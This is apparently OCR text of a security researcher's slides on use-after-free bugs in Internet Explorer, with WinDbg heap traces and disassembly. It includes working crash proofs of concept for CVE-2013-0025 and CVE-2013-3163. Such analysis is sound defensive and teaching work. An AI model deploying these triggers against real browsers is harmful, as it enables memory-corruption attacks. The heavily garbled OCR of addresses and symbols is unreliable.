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Introduction

Who am I?

Elvis Collado ARRRRR LRI

« Security Researcher for DVLabs Ceae T ——
- IPS Filter developer

1st year Security Researcher
Fascinated by web browsers
Blackhat/Defcon Attendee for 2013/2014
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Overview
What is this all about!?

Web browsers

Past vs. present

* New features over time
e Security improvements
 Issues today
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Overview of UAFs

Analysis and trends

* Trends of UAFs

e Debugging proof of concepts
- Shows the big picture

Demonstration

Tracking objects

e Monitor objects
- Dive into reference counts

* Analyze vulnerable conditions
- Root cause analysis



Web browsers
Adding features since 1990

e Features have been implemented over time
HTML first introduced in 1990

* Was available on the NeXT machine
Javascript introduced in 1995

* Developed by Brandan Eich

e Originally named “LiveScript”

» Object oriented scripting language
Microsoft ActiveX introduced in 1996

e COM Objects which can be used within Internet Explorer
* Ability to restrict usage within Internet Explorer
Microsoft Visual Basic Scripting introduced in 1996

3 Welcome to Jesse's Skiing page - Netscape
Fle Edt Vew Bo Comwurmalor Heb

¥ ¥ ol i M f
S N
b “Bodkmaks i Location [ g =l
.................... Tt j

W A

I'his page is
EEENNURDE cONSTRUCTIONZZ

Lo be the best ski site on the web

Source: http://gizmodo.com/5983574/remember-the-hilarious-horror-of-
geocities-with-this-website

* Gave developers a new scripting language to use besides JavaScript

More and more have been implemented since then (e.g. WebGL, SVG, VML)
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HTML Objects

Object Breakdown

<input type="radio" nzawe="element" waluse="Button" onclick="alert{'onhandler Event Triggered'}">Button

Element Attribute Attribute Value Event Handler Event Inner(HTML|Text)
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same

HTML Objects

Instantiating objects in HTML vs Javascript

HTML
<input type="radio" nswe="element" “value="Button" onclick="alert{'onhandler Event Triggered')":>Button
JavaScript
var input_element = document.createElement(‘input’);
Input_element.name="element”;
Input_element.value="“button”;
Input_element. addEventListener (‘click’, function(){alert(‘onhandler Event Trigger’)},false);
Input_element.innerText = ‘Button’;
document.body.appendChild(‘input_element’);
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HTML objects

Reference count

Method of tracking objects in memory for memory organization

If count == 0 then that particular memory block is available to be freed
Helps prevent the application from consuming too many resources
Once an object is freed it's memory address is thrown into a “FreeList”

If an allocation is requested there’s already a free block for the sized asked then it’ll reallocate that space
instead of querying the system API



HTML objects

Object reference count

Demo

* Follow Anchor Element

e Manipulate the Anchor Element and monitor the Reference Count

e Demonstrate what happens when the reference count ==

 This should give a clear understanding as to what reference counting is used for.

WinDBG Breakpoint Macro

bp mshtml!CAnchorElement::CreateElement+0x19 "r @$t0=@eax;ba w4 @$t0+04 \".echo;.printf \\\"------- Object Trace-------
\\\";.echo;.echo;.printf \\\"->Ref count is %x\\\", poi(@$t0+04);.echo;kv 4;.echo;r eax;r esi;r edi; r ecx;.echo;u @eip 13;.printf \\\"--
-- --\\\";.echo;.echo;.echo;g\";g";g
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HTML Objects

HTML <input type="radio">Button

JavaScript varinput_element = document.createElement(‘input’);

IDA shows us the heap allocation code path for this particular element

s Attributes: bp-based frame

arg_B= dword ptr 8
arg_4= dword ptr 6Ch
arg_8= dword ptr 18h

; FUNCTION CHUNK AT 74D1D51A SIZE 00000610 BYTES

long _ stdcall CreateInputElement{class CHtmTag =, class CDoc *, class CElement * x*) proc near

loc_74D1D522:

push ach

pop eax

j loc_7uD78A67

; END OF FUNCTION CHUNK FOR ?CreatelnputElement@@YGJPAVCHEMT agERPAVCDOCERPAPAVCE 1€ nen tEEE2

Yy

i

loc_7u4D78AGT

mou esi, [ebprarg_8]
push eax

push esi

push [ebp+arg_4]

push edi

test eax, eax

jnz short loc_74D78ASD

call  CInput::CreateElement(CHtmTag =,CDoc *,CElement » =, htmlInput)

nov edi, edi
push eb
nov ebp, esp
push esi
push edi
nov edi, [ebp+arg_n]
push offset aType_@ ; “type”
lea esi, [ebp+arg_B]
nov eax, edi
call CHtmTag: :UalFromName{ushort const =,ushort = x)
test eax, eax
iz loc_7uD1D51A
v
"IEE]
push L]
lea eax, [ebp+arg_B]
push eax
push [ebp+arg_6]
push offset _s_enundeschtnlInput
call ENUMDESC : :EnunFronString{ushort const =,long =,int)
test eax, eax
j1 loc_74D1D51A

[Truncated] -

peblic: static leag _stdécall Claputs:CreateElementiclass CHERTag =,

- duerd ptr &
= dwerd ptr @Ch
= dwerd pEr 1M
- dwerd ptr  1hh

mau edi, edi |
push

mou  ebp, esp

push  78h

push &

push  _g_hProcessheap ;
eall  dstieapRlloe(x,.x)
test  ean, ean

jz sROFT 1oc_TADTRADE

class &boc =, class CElement = =, enun

_htnlinput) proc mear
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HTML objects

HTML <[tag] [optional attributes]>
M </[ta#¥> ‘ 1) *
JavaScript document.createElement(‘SomeHTMLElement’);

'n
c
5
=
3
a
1
]
m

£ | Segment
CanchorElement: :CreateElement{CHtmTag *,CDoc *,CElement... .text
CAreaElement::CreateElement(CHtmTag *,CDoc *,CElement *... .text
CBGsound: :CreateElement{CHtmTag *,CDoc *,CElement * *) Jtext
CBRElement::CreateElement{CHtmTag *,CDoc *,CElement **)  .text
CBaseElement::CreateElement{CHimTag *,CDoc * CElement *... .text
CBaseFontElement: :CreateElement(CHimTag *,CDoc *,CElem... .text
CBlockElement::CreateElement{CHtmTag *,CDoc *,CElement *... .text
CBodyElement::CreateElement{CHtmTag *,CDoc *,CElement *... .text
CButton::CreateElement{CHtmTag *,CDoc *,CElement = *) Jtext
CCommentElement: :CreateElement(CHimTag *,CDoc *,CElem... .text
CDDElement::CreateElement(CHtmTag *,CDoc *,CElement **)  .text
CDListElement::CreateElement{CHimTag *,C0oc *,CElement *... .text
COTElement::CreateElement{CHtmTag *,CDoc *,CElement **)  .text
CDivElement::CreateElement(CHimTag *,CDoc *,CElement * *)  .text
CDoc::CreateElement(ELEMENT_TAG,CElement * *,ushort *lo... .text
CDoc::CreateElement{ ELEMENT_TAG_ID,ushort *IHTMLElem... .text
CDocument::CreateElementHelper(ushort *,CElement = *) Jtext
CDocument::createElement({ushort * IHTMLElement * =) Ltext
CFieldSetElement::CreateElement{CHtmTag *,CDoc * CElemen... .text
CFontElement::CreateElement{CHtmTag *,CDoc * CElement * *) text
CFormElement::CreateElement{CHtmTag *,CDoc *,CElement *... .text
CFrameElement::CreateElement{CHtmTag *,CDoc *,CElement ... .text
CFrameSetSite::CreateElement(CHtmTag *,CDoc *,CElement ... .text
CGenericElement::CreateElement(CHtmTag *,CDoc *,CElemen... .text
CHRElement::CreateElement{CHtmTag *,CDoc *,CElement **)  .text
CHeadElement::CregteElement(CHtmTag *,CDoc *,CElement *... .text The list goes on
CHeaderElement: :CreateElement{CHtmTag *,CDoc *,CElemen... .text
CHimiElement: :CreateElement(CHtmTag *,CDoc *,CElement * *) .text
CIFrameElement: :CreateElement(CHtmTag * CDoc *,CElement... .text
CImgElement: :CreateElement{CHtmTag *,CDoc *,CElement * *) .text
ClInput::CreateElement{CHtmTag *,CDoc * CElement * *,_htm... .text

e

* Symbols make everything 100x easier
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CVE-2013-0025
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Vulnerability Analysis

CVE-2013-0025

Proof of Concept:

<ldoctype html>
<html>
<head>

<script>

setTimeout(function(){

document.body.style.whiteSpace = "pre-line";

CollectGarbage();

setTimeout(function()/{document.body.innerHTML = "innerHTML"},

100)
},100)
</script>
</head>
<body>
<p>&#x0020;</p>
</body>
</html>

¥E-2013-0025.html - Windows Internet Explorer

(® Internet Explorer

@ Internet Explorer has stopped working
(

‘windows can check online for a solution to the problen.

< Check online for a solution and close the program

= Close the program

ﬂ Hide problem details

IProblem signature:
Problern Event Mame:
Application Mame:
Application Version:
Application Timestarmp:
Fault bModule Mame:
Fault Module Version:
Fault badule Tirmestamp:
Fyrentinn Cade:

i

APPCRASH
iexplore.exe
8.0.7601,17514
4cer9ole
mshtrml.dll
8.0.7601,17514
dceThifa
cANANNS

|»
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Vulnerability Analysis
CVE-2013-0025 G

Proof of Concept:
<ldoctype html>

<html>
<head>
<script> x
setTimeout(function(){ @ Internet Explorer has stopped working
document.body.style.whiteSpace = "pre-line"; ‘Windows can check onling For a solution ta the problem.
CollectGarbage(); < Check online for a solution and close the program
setTimeout(function()/{document.body.innerHTML = "innerHTML"}, > O R e e
100)
ﬂ Hide problem details
},100)
. IProblem signature: =
</script> Problern Event Narme: APPCRASH
Application Marne: iexplore.exe
</head> AEEIication Versian: B0 7601 17514 —
Application Timestarmp: 4ceTa912
<b0dy> Fault Module Name: mshtrml.dll
Fault bModule Version: 4.0.7601.17514
<D>&#X0020;</D> Fault Module Tirnestarmp: AceThif3
Fyrenting Cnde: cANANNNS =
</body> i | ’
</html>

(600.694): Access wiolation - code c0000005 {(first chance)

First chance ezxception= are reported before any exception handling.

Thi= exception may be ezpected and handled

=ax=00000000 =bx=04760688 =cx=014e=f2b0 =dx=6727b65d esi=04cd4bb?8 =di=00000000

2ip=6727bb94 esp=04cdibbdic ebp=04c4bbbd iopl=0 nv up =i pl =zr na pe nc
c==001b ===0023 ds=0023 es=0023 {==003b g==0000 ef1=00010246
mshtml |CElement : : Doc+0=7 |

6727b694 8b400c now eax, dword ptr [sax+0Ch] d=:0023:0000000c=2777977977
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Vulnerability Analysis

CVE-2013-0025

CTreeNode: [047607c0] Elenent:014eebSf0 671£2010 mshtml ! CRootElement:: " wvitable'

CTreeNode: [047609c8] Element:014c55b0 67025798 mshtnl!CCommentElement : : "vitable'

CTreelode: [047607=0] Element :014ct0a0 6705798 mshtml!CCommentElement :: "witable'

CTreeNode: [04760620] Element:0l4eedbl 67201598 mshtml ! CHtmlElement::  "vitable'

CTreeNode: [04760428] Element:014ef0bl 67201868 mshtml!CHeadElement::‘vftable'

CTreelNode: [047601a8] Element 04762550 67201aef8 mshtml!CTitleElement: : wvitable'

CTreeNode: [04760210] Element:01488c40 6725£9£8 mshtml|CScr1ptElement ‘witable'

CTreelode: [04760550] Element  0476c628 6720030 mshtnl!CBodyElemnent : ‘vftable

CTreeNode: [04760688] Elenent:014ef2b0 £723fe2ll mshtml ! CParaElement:: " vitable'

CTreeNode: [04760b00] Element:047b47e8 671£2010 mshtml!CRootElement::  "vitable'

CTreelode: [04760c38] Element 047b4728 67201598 mshtml!CHtmlElement:: "witable'

CTreeNode: [04760cal] Element :014b5380 67201868 mshtnl!CHeadElement : : ‘vftable'

CTreeNode: [014a4898] Element:0476ccal 67201aed mshtnl!CTitleElemnent: : witable'

CTreelode: [047a8f£f0] Element :0476ccel 67320030 mshiml ! CBodyElement: “wftable'

(600.694): Access wiolation — code cO000005 (first chance) 00125 Ih @

First chance exceptions are reported before any exception handling. . > theap -p —a @ecx .
Thiz exception may be expected and handled. address 014ef2b0 found in
22x=00000000 =bx=04760688 scx=014=£2b0 edx=6727h65d esi=04c4bb?8 edi=00000000 @ ———————» _HEAP @ 13£0000

eip=6727b694 esp=04cdbbdic sbp=04cd4bbbd iopl=0 nv up i pl zr na pe nc

HEAFP ENTRY Size Prev Flags
01l4ef298 0008 0000 [00]

c==001b ===0023 ds=s=0023 e=s=0023 {==003b g==0000 ef1=00010246
mnshtnl |CElement : : Doc+0x7 :
6727b694 Eb400c nov eax.dvord ptr [eax+0Ch] d=:0023:0000000c=7777?777%7

0:012% u mshtml!CElement : :Doc

mshtmnl | CElement : :Doc:

6727b68d 8b01 nowv eax, dword ptr [ecx]
6727b6BE 8bE0O70 MoV edz, dword ptr [eazx+70h]
6727b692 ££d2 call ed=

6727b694 Bh400c now eax, dwvord ptr [esax+0Ch]
6727b697 c3 ret

6727b698 90 nop

6727b699 90 nop

6727b6%a 90 nop

UserFtr UserSize - state
0ldef2al 00038 - (freed



Vulnerability Analysis
CVE-2013-0025

arg_h-=
arg_8=

mou
push
mou
push
push
push
push
call
mou
test
jz

public:

5 Attributes: bp-based frame

static long _ stdcall CParaElement::CreateElement{class CHtmTag =, class CDoc *, class CElement * *) proc near

dword ptr BCh
dword ptr  16h

edi, edi

ebp

ebp, esp

esi

28h ; duBytes
8 ; duFlags

_g_hProcessHeap ; hHeap
ds:HeapAlloc(x,x,x)
esi, eax

esi, esi

short loc_74D9FEOA

0:013> lheap —p —a @ec=
address 05029250 found in
_HEAP @ 270000

HEAFP ENTRY Size Prev Flags UzerPtr UserSize - state
050=9228 000c 0000 [00] 050=9250 00028 - {free DelayedFree)
6b30a7d6 verifier!AVripDphHormalHeapFree+0=z000000bA
6b3090d3 wverifier!AVriDebugPageHeapFrese+0=000000=3
77bab5fd4 ntdll!RtlDebugFrecsHeap+0=0000002£
77btalaa ntdll|RtlpFresHeap+0=z0000005d
77b365a6 ntdll!Rt1FresHeap+0=00000142
6b3locdf verifier!AVripRtlFresHeap+0=z00000086
7773bbed lkerneli?|HeapFree+0=00000014
6b31dd48 verifier!|AVripHeapFree+0=z00000097
6956abe? mshtml!CLi=tElenent :  operator delete+0xz00000016
69547966 mshtml!CParaElement: : "scalar deleting destructor'+0=z0000001f
69571daf mshtml!CBases: :SubRelease+0=x00000022
695cifclb mshtml !CElement : :PrivateExitTres+0x00000011
694cbe3d mshtml | CHarkup: :SpliceTreelnternal+0=00000083
6946090 mshtnl | Choc:  CutCopyMove+0=z000000ca
6947434 mshtnl | CDoc: : Remowe+0=00000018

CTreeNode: [0035ck88] Element:050ae9f8 £952fel0 nshtnl!CParaElement::'witable'
CTreeNode: [0508c488] Element :051c48f0 69422010 mshtnl!CRootElement: "witable'
CTreeNode: [00352148] Element:0508c5d8 69422010 mshtnl!CRootElement: "witable'
CTreeNode: [050=9d50] Element:050ea3el  693b5798 mnshtnl |CCommentElement : :"witable’'
CTreeNode: [051d1160] Element:0031d6e8 £94£1598 nshtnl!CHtnlElenent:: 'witable'
CTreeNode: [05020038] Element:050b1408 694£1868 mshtnl!CHeadElement:  "witable'
CTreeNode: [050£0940] Element:05048850 694flaed mshtnl!CTitleElement: : vwitable'
CTreeNode: [050de150] Element:05181d480 6954f9f8 mshtnl!CScriptElement: : "vitable'
CTreeNode: [051d3da0] Element :051c4950  694f0c30 mshtnl ! CBodvyElement : : "witable'
CTreeNode: [050cf120] Element: 05029250 £952f210 mshtnl![CParaElement: : wftable'
CTreeNode: [050ddbe8] Element :051cf0b0 69422010 mshtnl |CRootElement: : "witable'
CTreeNode: [050ce080] Element:050ce020 £94£1598 nshtnl!CHtnlElement:: 'witable'
CTreeNode: [050celb0] Element:050celf0  694£1868 mshtnl!CHeadElement:: "witable'
CTreeNode: [05022830] Element:050sa?ci  694flaed mshtnl!CTitleElement: : vwitable'
CTreeNode: [0502a8b8] Element:051d1ed48 694f0c30 mshtml !|CBodyElement : : "witable'
(G7c.278) . Access violation - code cO000005 {(first chance)

First chance exceptions are reported before any exception handling

This exception may be expected and handled.

eax=f0f0£f0f0 =bx=05b2cd08 ecx=050=9250 edx=00000001 e=1=050=9250 =di=00000000
2ip=6956bA8f esp=05b2cc2d ebp=05b2ccc iopl=0 nv up i pl nz na po nc
ce=001b ==3=0023 ds=0023 es=0023 {==003b gs=0000 efl=00010202
nshtml |CElenent : :Doc+0x2
6956L6SE BBSOT0 mowv

0:012: u mshtml!CElement : :Doc
mshtnl ! CElement : :Doc:

6727b68d 8b0O1 now eax, dvord ptr [ecx]
6727b68BE 8bE5O70 oW edx, dvord ptr [sax+70h]
6727bk92 ffd2 call edx

6727b694 8b400c now sax, dvord ptr [esax+0Ch]
6727b697 =3 ret

6727b698 90 nop

6727b699 90 nop

6727b6%a 90 nop



Vulnerability analysis
CVE-2013-0025

Demo
e CVE-2013-0025_1.html - Crash via “null pointer dereference”
- Analysis on what is trying to call the previously freed allocation
e CVE-2013-0025_2.html - Instruction Pointer Control
* CVE-2013-0025_3.html- Code Execution



CVE-2013-3163
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Vulnerability Analysis
CVE-2013-3163

{ ¥E-2013-3163.html - Windows Internet Explorer I ] 3
Proof of Concept:
<HTML>
<head>
<meta></meta>
</head>
<script> =
x
window.onload = function() { document.all[13].outerText = "*; }
) @ Internet Explorer has stopped working
<[script> ¢
Windows can check online For a solution ta the problem.
<table>
=% Check online for a solution and close the program
<div>
=% Close the program
<span>
<q> d Hide problem details
<a> Problem signature: =
Problern Event Marne: APPCRASH
<td></td> Bpplication Mame: iexplore.exe
Application Yersion: 80760117514 -
</a> Application Tirmestamp: 4ceTa912
Fault Module Marne: rashitral.dll
</q> Fault Module Version: 40760117514
Fault bodule Timestarmp: AceThifd
</Span> ‘Fi'rpnhnn Cde: cAnnnnnS I _bl_l
</div>
</table>
</html>
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Vulnerability Analysis
CVE-2013-3163 0 [P coranme i

Proof of Concept:

<HTML>
<head>
< >< > =
meta></meta £
</head>
@ Internet Explorer has stopped working
<script> :
SCrlpt ‘Windows can check online For a solution ko the problem,
window.onload = function() { document.all[13].outerText = "; }
<» Check online for a solution and close the program
< ipt>
/Scnpt =3 Close the program
<table>
<diV> ﬂ Hide problem details
<span> Problem signature: (B
Problern Event Marrne: APPCRASH
<q> Application Mame: iexplore.exe
Application Yersion: 8.0.7601.17514 -
<a> Application Timestamp: 4ceTa912
Fault Module Marne: rashitral.dll
Fault Module Wersion: 8.0.7601.17514
<td></td> Fault bodule Timestarmp: AceThifd
Fyrentinn Crde: cANANNNS =
</a> Hi | 3
</g>
<[span>
</diV> (538 .7ad): Access wviolation — code c0000005 {first chance)
Fir=st chance exceptions are reported before any ezxception handling.
</table> Thiz exception may be expected and handled.
=ax=00000000 ebz=03ca7?350 ecx=00178f40 =d=x=6727b65d esi=04deaafl =di=00000000
</ht > 2ip=6727b694 e=p=04idesacc ebp=04desasd iopl=0 nv up =i pl zr na pe nc
m cs=001b ===0023 d=s=0023 e=s=0023 f{==003b gs==0000 ef1=0001024¢6
mshtml | CElement : :Doc+0=7 :
6727h694 8b400c Mo eax. dword ptr [eax+0Ch] d=:0023:0000000c="2727277777
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Vulnerability Analysis
CVE-2013-3163

CTreslode :
CTreslode :
CTreslode :
CTreslode :
CTreslode :
CTreslode :
CTreslode :
CTreslode :
CTreslode :
CTreslode :
CTreslode :
CTreslode :
CTreslode :
CTreslode :
CTreslode :
CTreslode :
CTreslode :
CTreslode :
CTreslode :
CTreslode :
CTreslode :
CTreslode :
CTreslode :
CTreslode :
CTreslode :
CTreslode :
CTreslode :
CTreslode :
CTreslode :
CTreslode :
CTreslode :
CTreslode :
CTreslode :
CTreslode :
CTreslode :
CTreslode :
CTrestode :

04395508
01354020
048954a0
04395300
04895160
04894fc0
04395028
04394db8
043894ef0
04394288
0439480
0439%4celd
04394220
04394b48
04394bb0
04394c18
04395090
043950£8
04394940
043949a8
04394a10
04394278
04894a=0
04394£58
048951c8
04895230
04398610
04398698
04346980
04347138
04395640
04346720
04346778
04347068
04347040
043466a8
04398698

Element :
Element :
Element :
Element :
Element :
Element :
Element :
Element :
Element :
Element :
Element :
Element :
Element :
Element :
Element :
Element :
Element :
Element :
Element :
Element :
Element :
Element :
Element :
Element :
Element :
Element :
Element :
Element :
Element :
Element :
Element :
Element :
Element :
Element :
Element :
Element :
Element:

043514b0
0482£720
01375%d0
01376300
0482£3%60
043301=0
04355088
04330220
043854=00
0133ad10
04354£20
04343358
01376040
0482£320
04851270
048511€0
01338290
04851270
048511€0
01338290
04851270
048511€0
01338290
043963£8
04396450
013761d0
gooooooo
gooooooo
048963£8
04396450
048963£8
04396450
048963£8
04396450
01375870
043515£0
gooooooo

68ba2010
68ba2010
68a75798
68a75798
68bb1598
68bb1368
68bblasid
68a759c0
68a76260
68c0f9£8
68bb0c30
68a76488
68af3£50
68balas0
68b68£dE
68a771b0
68a77eb0
68b68£dE
68a771b0
68a77ehbl
68b68£dE
68a771b0
68a77ebl
68a76b18
68a768e8
680552688
Farirariririrar]

68a76b18
68a768e8
68a76b18
68a768e8
68a76b18
68a768e8
68af3£50
68bala%0
Farirariririrar]

mnshtml ! CRootElement : : "witable’
nshtml ! CRootElement : : "witable'
mnshtml!CCommentElenent : : “witable
mnshtml!CCommentElenent : : “witable
mshtml ! CHtmlElement : : "witable’
mnshtml!CHeadElement : : "witable’
mnshtml!CTitleElement : : "witable’
mnshtml!CHetaElemnent : : "witable’
mshtml!ClUnknownElenent : : “witable
nshtml!CScriptElement : : "vitable'
nshtml ! CBodyElenent : : "vitable'
mshtml!CTable: : "witable'

mnzhtml ! CTableCaption: : "witable'
mnshtml!CDivElement : : "witable’

nshtml!CSpanElemnent : : "vitable'
mshtml!CPhraseElement : : "witable’
nshtml!ChnchorElement : 1 "witable’
nshtml!CSpanElemnent : : "vitable'
mshtml!CPhraseElement : 1 "witable’
mnshtml!ChnchorElement : : "witable’
nshtml!CSpanElemnent : : "vitable'
mshtml!CPhraseElement : 1 "witable’
nshtml!ChinchorElement : : "witable’

mshtml!CTableSection: : "witable’
mshtml!CTableRow: : "wftable’
mshtml!CTableCell: : "witable’

mshtml!CTableSection: : "witable’
mshtml!CTableRow: : "wftable’
mshtml!CTableSection: : "witable’
mshtml!CTableRow: : "wftable’
mshtml!CTableSection: : "witable’
mshtml!CTableRow: : "wftable’
mnzhtml ! CTableCaption: : "witable'
nshtml ! CDivElement : : "witable’

(470 d24):

eip=68c2bb94 esp=04besasl4 ebp=04beacslc iopl=0
ce=001b ===0023

Access violation — code c0000005 {(first chance)

First chance exceptions are reported before any exception handling.

Thisz exception may be expected and handled.

2ax=00000000 =bx=04894%28 ecx=01338c90 edx=68c2bhd esi=04beasil edi=00000000

mzhtnl ICElement
68c2bf94 8b400c

0:012: u

mshtml | CElement : : Doc+0x2 :

6727b68E
6727b692
6727b694
6727b697
6727b698
6727b699
6727b6%a
6727bb9b

@eip

ab5070
fidz
8bd00c

es=0023

now

o

call

now
ret
nop
nop
nop
nop

nv up 21 pl =r na pe no

f==003b gs=0000 efl1=00010246

|

edx, dvord ptr [sax+70h]
edx
eax,dwvord ptr [sax+0Ch]



Vulnerability Analysis
CVE-2013-3163

CTreelode: [052aabel] Element 04784018 671£2010 nmshtml!CRootElemnent:  "witable'
CTreelode: [04768bf8] Element :0479b0d48 671£2010 mshtml!CRootElemnent:  "witable'
CTreeNode: [047610£0] Element 04786260 670c5798 nshtml!CCommentElement:: vitable’
CTreelode: [0527a9d8] Element :0476a2d8 670c5798 nshtml!CCommentElement:: vftable’
CTreelode: [0479£540] Element :0473f6d8 67201598 nshtml!CHtmnlElenent:  “witable'
CTreelode: [05272038] Element 04786788 67201868 nshtml!CHeadElenent:  “witable'
CTreelode: [04747db8] Element :05272ad0 67201ae8 mshtml!CTitleElement " witable'
CTreelode: [015934a0] Element:0473c2b8  670c59c0 nshtml!CHetaElement:  “witable'
CTreeNode: [015935c8] Element 05288728 670c6260 mshtml!CUnknownElement:: vftable’
CTreeNode: [0527aadl] Element 05225738 A725{9f8 mshtml!CScriptElement:: " wvitable'
CTreelode: [052bb058] Element :0478{b00 67200230 mshtml!CBodyElenent : : "witable'
CTreeNode: [052a7b70] Element :05288810 670c6488 nshtml!CTable: : "witable'
CTreelNode: [047d1988] Element :047d1918 67143150 mshtml!CTableCaption: :"vitable'
CTreeNode: [0478£448] Element :052a7bf8 671f0a90 nshtml!CDivElement:: witable'
CTreelode: [04788620] Element :04796c90 671b8fd8 mshtml!CSpanElement: “witable'
CTreeNode: [0478686a8] Element (05288390 670c71b0 mshtml!CPhrasseElement:: witable'
CTreeNode: [047d3£50] Element 00000000 ?7777777

CTreeNode: [0473ca38] Element 00000000 27777777

CTreelNode: [052ab270] Element :052bald40  670c7eb0 mshtml!ChnchorElement :: witable'
CTreelode: [0474c230] Element (04796290 671b8fd8 mshtml!CSpanElement: “witable'
CTreelNode: [0478a768] Element (05288390 670c71b0 mshtml!CPhraseElement :: witable'
CTreeNode: [052ble=d] Element :052baldl 670c7ebl mshtml!CAnchorElement:: " witable'
CTreelode: [052b4330] Element :04796c90 671b8£d8 mshtml!CSpanElement:  “witable'
CTreeNode: [052bbbb8] Element (05288890 670c71b0 mshtml!CPhraseElement :: "witable'
CTreeNode: [047(0=%0] Element :052bald0d 670c7ebl mshtml!CAnchorElement ::"witable'
CTresHode: [052af3=28] Element 05226630 670c6tblf mshtml!CTableSection: :"witable'
CTresHode: [0479a928] Element :04796a50 670c68e8 mshtml!CTableRow: : witable'
CTreslode: [04762198] Element 04754198 671226688 mshtml!CTableCell: : witable'
CTresHode: [0474a8{8] Element 05226630 670ctbl® mshtml!CTableSection: : " witable'
CTresHode: [04786448] Element :04796a50 670ckt828 mshtml!CTableRow:: witable'
CTresNode: [0157£530] Element 05226630 670ctbl® mshtml!CTableSection: :"witable'
CTresNode: [047734e0] Element 04796250 670ck828 mshtml!CTableRow:: witable'
CTresNode: [0479f160] Element 05226630 670ctbl® mshtml!CTableSection: :"vitable'
CTresNode: [04756fd0] Element :04796a50 670ck828 mshtml!CTableRow:: witable'
CTreeNode: [04788a10] Element 00000000 9#977777%7

CTreelNode: [0474e2{0] Element 00000000 9?977777%7

CTreelode: [04787=2f8] Element :04787=88 67143150 nshtml|CTableCaption: :"vitable'
CTreselNode: [04787f{e0] Element :04787£80 671{02a90 mshtml!|CDivElement :: witable'

—

{edd .e3c): Access wviolation — code 0000005 {first chance)

First chance exceptions are reported before any exception handling.

Thi= exception mnay be expected and handled

eax=f0{f0£f0f0 =ebx=052ble=f ecx=052baldl =dz=00000000 ==i=05%9%6adcl =di=00000000
=ip=h727b68f e=sp=0596ad94 ebp=0596adac iopl=0 nv up i pl zr na pe nc

c==001b ===0023 d=s=0023 e=s=0023 {==003b gs=0000 ef1=00010246
mshtnl |CElement : : Doc+0x2
6727b68E 8b5070 mow edx,. dvord ptr [eax+70h] d=: 0023 £0£0£160=72777777

0:0123 lheap —p —a @ecx
address 052bald4l found in
_HEAP @ 14e0000

HEAFP EHNTREY Size Prev Flags UzerPtr UserSize - state
052balld 0014 0000 [00] 052baldn 00068 - (free DelayedFres)
70czaa7de werifier!AVripDphHornalleapFres+0=000000b6
70ca90d3 werifier!AVrfDebugPageHeapFres+0=0000003
777465f4 ntdll!EtlDebugFresHeap+0=z0000002£
7770alaa ntdll|RtlpFresHeap+0=x0000005d
776d65at ntdll!RtlFresHeap+0=00000142
70cbccdf werifier! AVrfpRt1FreeHeap+0=x00000086
772dbbed kerneli?!HeapFres+0=x00000014
70chbdd48 werifier!AVrfpHeapFres+0=00000097
6722799b m=html |CAnchorElenent : : "vector deleting destructor'+0x00000028
67281daf mshtnl!CBase: :SubRelease+0x00000022
672dfclb mshtnl | CElement : :PrivateExitTres+0=00000011
671d6e34 mshtml !CHarkup: :SpliceTreselnternal+0=00000083
671d6c90 mshtml | Choc: : CutCopyHowe+0z000000ca
67147434 mshtnl!CDoc: :Remove+0x00000018
671d7412 mshtml !|RenovelWithBreakOnEnpty+0=x0000003a
670eb56e mshtmnl |CElenent : : Inject Internal+0=0000032a
671d951d mshtml ICElement : : InjectConpatBSTR+0=00000046
67405eat mshtml ! CElement : put_outerText+0=x00000025
£7305d62 mshtml | GE_BSTR+0=000001ac
£72ef10b mshtnl | CBase: :Context InvolkeEx+0x000005d
672fabct mshinl | CElement : :ContextInvokeEx+0=x0000009d
672£a706 mshtnl!CElement : :VersionedInvokeEx+0x0000002d
£729bcle mshtnl |PlainInvokeEx+0z000000sh
69=baZte jscript|IDispatchExInvolkeEx2+0x00000104
69ebalbd jscript!IDispatchExInvolkeExz+0=z0000006a
69=badlda jscript!InvokeDispatchEx+0x00000098
69esbaded jscript ! VAR: : InvokeByNane+0=z00000139
69ecdY9a8 jscript | VAR: : InvokeDispNane+0=z0000007d
69eb9cde jscript !|CScriptRuntine:  Run+0=z0000208d
692c5d7d jscript !|ScrFncObj: CallWithFramnseOnStack+0=000000ce
69ecSedb j=cript |ScrFncOby: :Call+0x0000008d
69eciefl jscript!CSession: Execute+0=x0000015f



Vulnerability Analysis

CVE-2013-3163

Object Creation

; Attributes: bp-based frame
public: static long _ stdcall CAnchorElement::CreateElement{class

arg_4= dword ptr BCh
arg_s= dword ptr 16h

; FUNCTION CHUNK AT 74EFABAG SIZE 00008080A BYTES

0:012» l'heap -p —a @ecx
address 052baldl found in
_HEAP @ 14=0000

HEAP_ENTRY
052ballfg
70caa?de
70ca90d3
77746514
7770alaa
776d65ak
70cboodf
772dbbed
70cbdd48

mov edi, edi

push ebp

mov ebp, esp

push esi

push edi

push 68h ; duBytes
push 8 ; dwFlags
push _g_hProcessHeap ; hHeap
Xor edi, edi

call ds :HeapAlloc{x,%,x)

mov esi, eax

test esi, esi

jz short loc_74DB1442

P 67227959k
67281daf
672dfc0b
671d6=34
671d6c90
67147434
67147412
670ebSee
671d951d
67405=ak
67305d62
672ef10b
672fabch
672£a706
6729bc0e
69esbalbe
69=balb?
69=badia
69sbaded
69ecdfal
69eb9cde
69ectd?d
69ectcdb
69=chefl

Size Prew Flags UzerFPtr U=serSize — =state
0014 oooo0  [00] 052baldn 00068 — (free DelayedFree)
verifier!AVripDphHornalHeapFres+0=z000000b6
verifier ! AVrfDebugPageHeapFres+0=0000003
ntdll!EtlDebugFresHeap+0=0000002f

ntdll IRt lpFreeHeap+0=x00000054

ntdll Bt lFreesHeap+0=00000142

verifier ! A¥rfpRt 1FrecHeap+0=00000086

kerneliz |HeapFree+0=00000014

verifier! AVripHeapFrese+0=00000097

mn=zhtml |CAnchorElement : - "vector deleting destructor'+0=00000028
nshtml |CBase: :SubRelease+0=200000022

nshtml | CElement : :PrivateExitTres+0=00000011
n=html | CHarkup: :SpliceTreselnternal+0=z00000083
nshtml | Choc: : CutCopyMove+0=z000000ca

nshtml |CDoc: : Remove+0=00000018

n=html ! RenovelWithBreakOnEnpty+0=0000003a
mzhtml |ICElement: : InjectInternal +0x0000032a
n=html | CElenent : : InjectCompatBSTR+0=00000046
mshtml |CElement : :put_outerText+0=z00000025
nshtml |GS _BSTR+0=000001ac

nshtml ! CBase: : ContextInvokeEx+0x000005dc
nshtml |CElement : : Context InvokeEx+0=x00000094
nshtml |CElement : : VersionedInvokeEx+0=0000002d
nshtml |PlainInvokeExz+0=000000eb

j=cript | IDi=patchExInvokeEx2+0=00000104
